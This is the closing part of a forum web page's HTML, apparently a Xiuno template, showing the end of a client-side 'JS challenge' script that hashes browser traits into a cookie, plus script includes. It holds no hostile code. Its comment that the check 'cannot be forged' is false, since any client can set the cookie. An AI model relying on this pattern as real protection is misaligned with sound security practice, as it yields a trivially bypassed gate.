Error("非合法浏览器环境"); } // 检查是否已有验证Cookie,避免重复生成 if (document.cookie.includes("js_challenge=pass_")) { console.log("✅ 已有验证Cookie,无需重复验证"); return; } // 生成验证参数(绑定浏览器特征,无法伪造) const nonce = Math.random().toString(36).substr(2, 10); const ip = window.location.hostname; const hash = md5(nonce + ip + navigator.userAgent + screen.width + screen.height); // 强制生成验证Cookie(适配所有域名/端口) document.cookie = `js_challenge=pass_${hash}; path=/; domain=${window.location.hostname}; max-age=86400; SameSite=Lax; Secure=${window.location.protocol === 'https:'}`; console.log("✅ JS挑战验证成功,生成Cookie:", `js_challenge=pass_${hash}`); } catch (e) { // 验证失败仅控制台报错,不修改页面样式 console.error("❌ JS挑战拦截:", e.message); } } // 立即执行验证(不等待页面加载,避免缓存/加载中断问题) verify(); })(); </script> <script src="/view/js/xiuno.js?2.3.0"></script> <script src="/view/template/quzhiwa/js/custom.js?2.3.0"></script> <script> $('.cat-tab-wrap li[data-active="fid-4"]').addClass('current-menu-item'); $('.menu-header-container li[data-active="fid-4"]').addClass('current-menu-item'); </script> </body> </html>